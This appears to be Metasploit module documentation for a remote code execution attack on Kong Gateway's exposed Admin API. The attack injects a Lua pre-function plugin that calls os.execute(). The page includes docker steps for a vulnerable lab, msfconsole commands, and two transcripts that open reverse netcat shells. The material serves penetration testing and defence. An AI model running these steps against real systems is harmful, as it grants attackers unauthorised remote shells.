## Vulnerable Application

Kong Gateway claims to be the "world’s most popular open source API gateway". It allows API operators to add features, such as
Authentication, Traffic Control, Analytics, Transformations, Logging and even serverless functions to existing APIs.

It is open-source, can be downloaded from [konghq.com](https://konghq.com/get-started/#install) and runs on Linux or macOS. Many officially
supported packages are available, for example from repositories, DockerHub or AMI images for AWS.

This exploit module uses the [Admin API](https://docs.konghq.com/2.1.x/admin-api/) to create a route, then assign a the
[pre-function](https://docs.konghq.com/hub/kong-inc/serverless-functions/) serverless plugin to that route. The plugin runs Lua code and is
used to run a system command using `os.execute()`. After execution, the route is then deleted, which also results in the plugin associated
with the route being deleted.

The Admin API, by default (since version 0.12.0) is bound to localhost and therefore shouldn't be available externally. It is, however,
possible to remove that restriction in the configuration. [The documentation](https://docs.konghq.com/2.1.x/secure-admin-api/) states that
"*Kong’s routing design allows it to serve as a proxy for the Admin API itself. In this manner, Kong itself can be used to provide
fine-grained access control to the Admin API.*"

Successfully tested against:

* Version 2.1.4

### Configuring a vulnerable Environment

Run the following commands:

1. `docker network create kong-net`
2. `docker run -d --name kong-database --network=kong-net -p 5432:5432 -e "POSTGRES_USER=kong" -e "POSTGRES_DB=kong" -e
"POSTGRES_PASSWORD=kong" postgres:9.6`
3. `docker run --rm --network=kong-net -e "KONG_DATABASE=postgres" -e "KONG_PG_HOST=kong-database" -e "KONG_PG_USER=kong" -e
"KONG_PG_PASSWORD=kong" kong:latest kong migrations bootstrap`
4. `docker run -d --name kong --network=kong-net -e "KONG_DATABASE=postgres" -e "KONG_PG_HOST=kong-database" -e "KONG_PG_USER=kong" -e
"KONG_PG_PASSWORD=kong" -e "KONG_PROXY_ACCESS_LOG=/dev/stdout" -e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" -e "KONG_PROXY_ERROR_LOG=/dev/stderr"
-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" -e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" -p 8000:8000 -p 8443:8443 -p 8001:8001 -p
8444:8444 kong:latest`

**Note that the `-p 8001:8001` and `-p 8444:8444` options in step 4 will expose the Admin API on all interfaces, resulting in an
installation that is vulnerable to attack from outside systems**. To expose only on the loopback interface, use
`-p 127.0.0.1:8001:8001` and `-p 127.0.0.1:8444:8444` instead.

#### Useful Links

[Kong Docker Installation Instructions](https://docs.konghq.com/install/docker/)

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/kong_gateway_admin_api_rce`
4. Do: `set rhosts <ip address of Kong Admin API host>`
5. Do: `set lhost <ip address of metasploit machine>`
6. If necessary, do: `set rport <port of Kong Admin API>`
7. If necessary, do: `set ssl true`
8. If necessary, do: `set PUBLIC-API-RHOST <ip address of Kong public API>`
9. If necessary, do: `set set PUBLIC-API-RPORT <port of Kong public API>`
10. If necessary, do: `run`
11. You should get a shell.

## Options
### PUBLIC-API-RHOST

The IP address or hostname where the public API is available, if different to the admin API. Often the same as RHOST; If not set then
`RHOST` will be used for the public API (and the admin API). Optional

### PUBLIC-API-RPORT

The port where the public API is available. Default: 8000

## Scenarios

### Kong Version 2.1.4 (public API available on same host as admin API)

In this scenario, the admin API is not bound to localhost and is therefore available externally.

```
$ msfconsole -q
[*] Starting persistent handler(s)...
msf > use exploit/multi/http/kong_gateway_admin_api_rce 
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/http/kong_gateway_admin_api_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf exploit(multi/http/kong_gateway_admin_api_rce) > set rhosts 192.168.194.130
rhosts => 192.168.194.130
msf exploit(multi/http/kong_gateway_admin_api_rce) > run -z

[*] Started reverse TCP handler on 192.168.194.131:4444 
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:41939) at 2020-10-13 16:24:13 +0100
[*] Session 1 created in the background.
msf exploit(multi/http/kong_gateway_admin_api_rce) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               192.168.194.131:4444 -> 192.168.194.130:41939 (192.168.194.130)
```

### Kong Version 2.1.4 (public API available on different host to admin API)

In this scenario, the admin API is bound to localhost and has been forwarded using ssh local port forwarding.

```
$ msfconsole -q
msf > use exploit/multi/http/kong_gateway_admin_api_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/http/kong_gateway_admin_api_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(multi/http/kong_gateway_admin_api_rce) > set public-api-rhost 192.168.194.130
public-api-rhost => 192.168.194.130
msf exploit(multi/http/kong_gateway_admin_api_rce) > run -z

[*] Started reverse TCP handler on 192.168.194.131:4444
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:44705) at 2020-10-27 20:57:02 +0000
[*] Session 1 created in the background.
msf exploit(multi/http/kong_gateway_admin_api_rce) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               192.168.194.131:4444 -> 192.168.194.130:44705 (127.0.0.1)
```
